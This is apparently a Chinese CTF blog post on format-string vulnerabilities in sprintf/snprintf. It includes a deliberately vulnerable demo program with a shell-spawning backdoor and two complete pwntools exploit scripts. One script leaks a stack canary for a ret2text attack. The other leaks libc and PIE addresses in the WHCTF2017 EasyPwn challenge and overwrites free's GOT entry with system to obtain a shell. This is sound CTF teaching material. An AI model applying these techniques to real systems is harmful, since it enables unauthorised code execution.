Featured image of post s[n]printf函数fmt漏洞

s[n]printf函数fmt漏洞

函数原型

1
int sprintf(char *str, const char *format, ...);

str:目标字符数组,用于储存格式化后的结果

format:格式化字符串,包含普通字符和格式符,如a=%d

…:可变参数,对应格式字符串中的格式符,类型需与格式符匹配。如 若参数format为a=%d则…应为int类型的整数

返回值是向str中输入的字符个数

1
int s[n]printf(char *str, size_t size, const char *format, ...)

比sprintf 多了一个size_t参数,用于限制可写入字符数

demo(这个函数的正常使用方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <string.h>  

int main() {
    char buf[200];  
    int num = 123;
    float f = 3.14159;
    char str[] = "hello";
    int arr[] = {1, 2, 3};  

    // 1. 格式化整数、字符串、浮点数
    int len1 = sprintf(buf, "整数: %d, 字符串: %s, 浮点数: %.2f", num, str, f);
    printf("结果1: %s\n", buf);
    printf("写入字符数: %d (验证: %zu)\n\n", len1, strlen(buf));  // 不含 \0

    // 2. 格式化十六进制、地址
    int len2 = sprintf(buf, "十六进制: 0x%x, 数组地址: %p", num, arr);
    printf("结果2: %s\n", buf);
    printf("写入字符数: %d (验证: %zu)\n\n", len2, strlen(buf));

    // 3. 拼接多个数据
    int len3 = sprintf(buf, "综合: num=%d, str=%s, f=%.1f, arr@%p", num, str, f, arr);
    printf("结果3: %s\n", buf);
    printf("写入字符数: %d (验证: %zu)\n", len3, strlen(buf));

    return 0;
}

漏洞原理

攻击者通过溢出等手段可修改format参数,完整任意地址读写

PS:snprintf是把格式化字符串的地址记下来,每次要处理一个字符时,先从地址处取格式化字符串,然后再根据格式化字符串来处理字符

demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include <stdlib.h>

void backdoor(){
    system("/bin/sh");
    return;
}

int main(){
    
    char buf1[0x100];    
    char buf2[0x20];     
    char buf3[0x20]="%s\x00"; 
    memset(buf1,0,0x100);
    
 
    puts("input your data");
    read(0,buf1,0x1000);
    sprintf(buf2,buf3,buf1);
    printf("your input is %s",buf2);
    
    memset(buf1,0,0x100);
    puts("input your data again");
    read(0,buf1,0x1000);
    sprintf(buf2,buf3,buf1);
    printf("your input is %s",buf2);
    
    return 0;
}

先利用sprintf的格式化字符串漏洞,溢出buf2从而修改buf3(sptintf的格式化字符串参数),这样就可以通过任意地址读来泄露canary,然后利用read(0,buf1,0x1000) re2text.exp如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from pwn import *
p=process('./sprintf')
context(log_level='debug',arch='amd64')
p.recvuntil(b'input your data')
pay1=b'a'*32+b'bb%46$p'
#0x92 is offest 150
p.sendline(pay1)
#gdb.attach(p)
p.recvuntil(b'0x')
canary=int(p.recv(16),16)
print(hex(canary))
p.recvuntil(b'input your data again')
shell=0x4011f6
ret=0x40120F
pay2=b'\x00'*(0x108)+p64(canary)+p64(0)+p64(ret)+p64(shell)
p.sendline(pay2)
#gdb.attach(p)
p.interactive()

这个demo写的不太合适,修改返回地址的时候用的并不是sprintf的漏洞

可以再看下下面的例题

攻防世界EasyPwn

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int i; // [rsp+10h] [rbp-20h]
  int v5; // [rsp+14h] [rbp-1Ch]
  void *buf; // [rsp+18h] [rbp-18h]
  char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  for ( i = 0; i <= 11; ++i )
  {
    write(1, "Input Your Code:\n", 0x11uLL);
    __isoc99_scanf("%4s", nptr);
    v5 = atoi(nptr);
    if ( v5 == 1 )
    {
      vuln();
    }
    else
    {
      if ( v5 != 2 )
        return 0LL;
      buf = malloc(0x100uLL);
      write(1, "Input Your Name:\n", 0x11uLL);
      read(0, buf, 0x100uLL);
      printf("OK!I Know Your Name :%sNow!", (const char *)buf);
      free(buf);
    }
  }
  return 0LL;
}
unsigned __int64 vuln()
{
  char s[1024]; // [rsp+10h] [rbp-BF0h] BYREF
  char v2[1000]; // [rsp+410h] [rbp-7F0h] BYREF
  char v3[1024]; // [rsp+7F8h] [rbp-408h] BYREF
  unsigned __int64 v4; // [rsp+BF8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(s, 0, sizeof(s));
  memset(v3, 0, 8uLL);
  memset(v2, 0, 0x7E8uLL);
  strcpy(v3, "%s");
  puts("Welcome To WHCTF2017:");
  read(0, s, 0x438uLL);
  snprintf(v2, 0x7D0uLL, v3, s);
  printf("Your Input Is :%s\n", v2);
  return __readfsqword(0x28u) ^ v4;
}

checksec read(0, s, 0x438uLL);长度不够rop但vul()函数的snprintf函数可溢出v3,可以利用fmt任意地址读泄露libc和pie地址

随后任意地址写,修改freegot表为system地址(可以使用bss段上fmt的方法)

注意由于延迟绑定机制我们需要先调用一次free完成绑定,exp如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context(log_level='debug',arch='amd64')
p=process('./pwn1')
libc=ELF('/home/baota/桌面/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
elf=ELF('./pwn1')
p.recvuntil(b'Input Your Code:')
p.sendline(b'2')
p.recvuntil(b'Input Your Name:')
p.sendline(b'1')
#free got 
p.recvuntil(b'Input Your Code:')
p.sendline(b'1')
p.recvuntil(b'Welcome To WHCTF2017:')
pay1=b'a'*1000+b'bb%397$p'
p.sendline(pay1)
#0x10b is offest 400

p.recvuntil(b'0x')
libcbase=int(p.recv(12),16)-0x20840
print(hex(libcbase))
#gdb.attach(p)
sys=libcbase+libc.symbols['system']
p.recvuntil(b'Input Your Code:')
p.sendline(b'1')
p.recvuntil(b'Welcome To WHCTF2017:')
pay2=b'a'*1000+b'bb%396$p'
p.sendline(pay2)
p.recvuntil(b'0x')
addr=int(p.recv(12),16)
pie=addr-0xda0
print(hex(addr))
print(hex(pie))
free_got = pie + elf.got['free']
print(hex(free_got))
print(hex(sys))
p.recvuntil(b'Input Your Code:')
p.sendline(b'1')
p.recvuntil(b'Welcome To WHCTF2017:')
#$360$p
a=(sys & 0xffff)-1000-0x16
gdb.attach(p)
pay3=b'a'*1000+(b'bb%'+str(a).encode() + b'c%133$hn').ljust(16,b'a')+p64(free_got)
p.sendline(pay3)
b= ((sys>>16) & 0xffff)-1000 - 0x16
pay4 = b'a' * 1000 + (b'bb%'+str(b).encode()+b'c%133$hn').ljust(16, b'a')+p64(free_got+2)
p.recvuntil(b'Input Your Code:')
p.sendline(b'1')
p.recvuntil(b'Welcome To WHCTF2017:')
p.sendline(pay4)
#gdb.attach(p)
p.recvuntil(b'Input Your Code:')
p.sendline(b'2')
p.recvuntil(b'Input Your Name:')
p.sendline(b'/bin/sh\x00')
#gdb.attach(p)
p.interactive()
共生产 19 篇文章,约 39.77k 字使用 Hugo 构建
主题 Stack 由 Jimmy 设计